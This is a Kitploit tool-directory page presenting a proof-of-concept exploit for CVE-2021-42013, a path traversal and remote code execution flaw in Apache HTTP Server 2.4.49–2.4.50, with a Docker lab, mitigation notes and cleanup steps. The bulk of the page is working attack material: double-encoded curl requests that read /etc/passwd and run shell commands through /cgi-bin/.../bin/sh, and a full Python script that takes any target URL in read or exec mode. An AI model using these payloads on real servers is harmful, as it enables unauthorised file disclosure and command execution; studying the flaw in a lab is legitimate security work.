Skip to content
KitploitKITPLOIT
ToolsBlog
Submit
ToolsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

··Feeds·Contact·Privacy·© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
CVE-2021-42013 — Proof-of-concept exploit for CVE-2021-42013 Apache HTTP Server path traversal and remote code execution vulnerability, with Docker-based lab environment and Python PoC script. | Kitploit
Tools/GitHubGitHub/eunho87/cve-2021-42013
Vulnerability AnalysisExploitationWeb Application ExploitationPenetration TestingLearning & EducationLabs & Practice
GitHubeunho87/cve-2021-42013

CVE-2021-42013

Proof-of-concept exploit for CVE-2021-42013 Apache HTTP Server path traversal and remote code execution vulnerability, with Docker-based lab environment and Python PoC script.

View Repository
42 months agoNot yet reviewed

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Share

CVE-2021-42013

Contributor

  • 석은호@eunho87

CVE-2021-42013 Apache HTTP Server Path Traversal

Vulnerability Summary

A bug in the path normalization handling of Apache HTTP Server 2.4.50 allows arbitrary file reading or remote code execution without authentication.

This occurs due to an incomplete patch for CVE-2021-41773, bypassing Apache's path blocking through double URL encoding (%%32%65).

References

  • NVD - CVE-2021-42013
  • Apache Security Advisory

Vulnerability Conditions

For CVE-2021-42013 to be exploitable, the following conditions must be met:

  1. Apache 2.4.49~2.4.50
  2. The Directory directive in httpd.conf is not set to 'Require all denied'
  • mod_cgi module enabled (for RCE)

  • Environment Setup

    root@kitploit:~
    docker-compose up -d
    

    Run the following command to verify the test environment is running:

    root@kitploit:~
    docker-compose ps
    

    If the server is running normally, you can access http://localhost:8080.

    Vulnerability Reproduction

    Apache blocks the use of ../ to traverse to parent directories. To bypass this, the encoded value of . can be used instead: 2e. However, Apache 2.4.50 decodes %2e before checking, so %2e2e would be blocked just like ../. Therefore, double encoding with %%32%65 must be used to bypass the filter.

    root@kitploit:~
    curl -s --path-as-is "http://localhost:8080/static/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/etc/passwd"
    

    In a CGI-capable environment, RCE is possible by replacing the last part with /bin/sh.

    root@kitploit:~
    curl -s --path-as-is -X POST \
      --data "echo Content-Type: text/plain; echo; id; uname -a" \
      "http://localhost:8080/cgi-bin/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/bin/sh"
    


    PoC Code

    Python (poc.py)

    root@kitploit:~
    #!/usr/bin/env python3
    import sys
    import http.client
    from urllib.parse import urlparse
    
    def exploit(target_url, mode, arg):
        parsed = urlparse(target_url)
        host = parsed.hostname
        port = parsed.port or 80
        trav = "%%32%65%%32%65/" * 4
        
        if mode == "read":
            path = f"/static/{trav}{arg}"
            conn = http.client.HTTPConnection(host, port, timeout=5)
            conn.request("GET", path)
        else:
            path = f"/cgi-bin/{trav}bin/sh"
            body = f"echo Content-Type: text/plain; echo; {arg}"
            conn = http.client.HTTPConnection(host, port, timeout=5)
            conn.request("POST", path, body=body, headers={"Content-Type": "application/x-www-form-urlencoded"})
        
        result = conn.getresponse().read().decode("utf-8", "replace")
        conn.close()
        return result
    
    if __name__ == "__main__":
        if len(sys.argv) < 4:
            print(f"사용법: {sys.argv[0]} <url> <read|exec> <arg>")
            sys.exit(1)
        print(exploit(sys.argv[1], sys.argv[2], sys.argv[3]))
    

    Mitigation

    • Update to Apache 2.4.51 or later
    • Keep 'Require all denied'

    Cleanup

    root@kitploit:~
    docker-compose down
    

    Download Tool